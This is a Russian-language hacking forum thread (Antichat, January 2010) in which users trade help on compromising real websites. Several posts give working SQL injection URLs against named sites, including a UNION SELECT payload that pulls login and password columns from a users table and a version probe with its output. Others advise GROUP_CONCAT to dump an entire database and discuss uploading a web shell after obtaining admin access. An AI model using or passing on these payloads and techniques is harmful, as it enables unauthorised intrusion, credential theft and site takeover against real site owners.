Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
25.01.2010, 16:22
|
|
Познающий
Регистрация: 14.03.2009
Сообщений: 38
Провел на форуме:
250929
Репутация:
2
|
|
Собственно получил доступ к админке одного сайта, с расширением php файлы не хочет кушать , пробывал заливать с расширением php.jpg но тоже не помогает (так же можно залить в .doc .pdf форматах).. такое часто у меня случается , может есть какие либо способы залить шелл ещё ?
|
|
|
25.01.2010, 16:36
|
|
Новичок
Регистрация: 09.01.2010
Сообщений: 3
Провел на форуме:
13529
Репутация:
0
|
|
Database Version: 5.0.32-Debian_7etch5-log
Проблемма такова делаю выборку :
_http://www.skr.su/?div=spec&id=1344+UNION+SELECT+1,2,3,4,5,6,7,8,9,1 0,11,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x2d2d2d2d,log in,0x2d2d2d2d,pass,0x2d2d2d2d),0x71),0x71),13,14,1 5,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31, 32,33,34,35,36,37,38,39,40,41,42,43,44,45,46+FROM+ users+LIMIT+1,1--
показывает такой пароль админа (їљџ·„‚7) , причем смотрите сами такие пароли с аброкадаброй у вех пользователей .
кто что думает ?
Последний раз редактировалось aka_google; 25.01.2010 в 16:38..
|
|
|
|
25.01.2010, 17:07
|
|
Новичок
Регистрация: 18.12.2009
Сообщений: 13
Провел на форуме:
96637
Репутация:
0
|
|
http://hardon.ru/index.php?action=getCat&catid=110+union+select+1,2 ,3,4,5,6,7--
инъекция или нет?
|
|
|
|
25.01.2010, 17:19
|
|
Reservists Of Antichat - Level 6
Регистрация: 12.06.2008
Сообщений: 157
Провел на форуме:
3217552
Репутация:
1668
|
|
2 GinTonic
Код:
http://hardon.ru/index.php?action=getCat&catid=110+union+select+version()
<input type="checkbox" name="vendor[1]" value="4.1.25-log" />4.1.25-log<br />
|
|
|
|
26.01.2010, 00:57
|
|
Познающий
Регистрация: 14.03.2009
Сообщений: 38
Провел на форуме:
250929
Репутация:
2
|
|
Такая ситуация есть сайт со скулей,но стоит лимит на вывод , БД довольнотаки большая , есть ли у кого мысли как сразу всё слить?шелл пока что не удалось залить =/
Последний раз редактировалось erolom; 26.01.2010 в 02:09..
|
|
|
|
27.01.2010, 12:42
|
|
Постоянный
Регистрация: 05.12.2006
Сообщений: 477
Провел на форуме:
11338585
Репутация:
441
|
|
Сообщение от erolom
Такая ситуация есть сайт со скулей,но стоит лимит на вывод , БД довольнотаки большая , есть ли у кого мысли как сразу всё слить?шелл пока что не удалось залить =/
использовать GROUP_CONCAT()
лучше вариантов вроде нету.
https://forum.antichat.ru/showthread.php?t=118842
|
|
|
|
27.01.2010, 19:20
|
|
Новичок
Регистрация: 29.12.2008
Сообщений: 4
Провел на форуме:
15341
Репутация:
0
|
|
Сообственно один сайт инклудит страницу в iframe. Возможно ли как-то при помощи JavaScript'a модифицировать внешний вид того сайта, что инклудит? И что вообще можно сделать?
|
|
|
|
27.01.2010, 19:27
|
|
Познавший АНТИЧАТ
Регистрация: 14.01.2008
Сообщений: 1,165
Провел на форуме:
7229141
Репутация:
3099
|
|
Сообщение от GinTonic
инъекция или нет?
поигрался бы с логикой:
http://hardon.ru/index.php?action=getCat&catid=110+and+1=1
http://hardon.ru/index.php?action=getCat&catid=110+and+1=2
|
|
|
|
27.01.2010, 19:31
|
|
Познавший АНТИЧАТ
Регистрация: 14.01.2008
Сообщений: 1,165
Провел на форуме:
7229141
Репутация:
3099
|
|
Сообщение от NeKit
Сообственно один сайт инклудит страницу в iframe. Возможно ли как-то при помощи JavaScript'a модифицировать внешний вид того сайта, что инклудит? И что вообще можно сделать?
Как ты думаешь на чей стороне сработает джава скрипт на стороне сервера или клиента?
---
что ты хочешь вообще сделать?. если модифицировать сайт- не мудри давай заливай шелл 
почитай книгу Кузи в избранном.
|
|
|
|
27.01.2010, 19:46
|
|
Новичок
Регистрация: 29.12.2008
Сообщений: 4
Провел на форуме:
15341
Репутация:
0
|
|
Сообщение от xcedz
Как ты думаешь на чей стороне сработает джава скрипт на стороне сервера или клиента?
Клиента конечно. Так и модифицировать на стороне клиента.
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
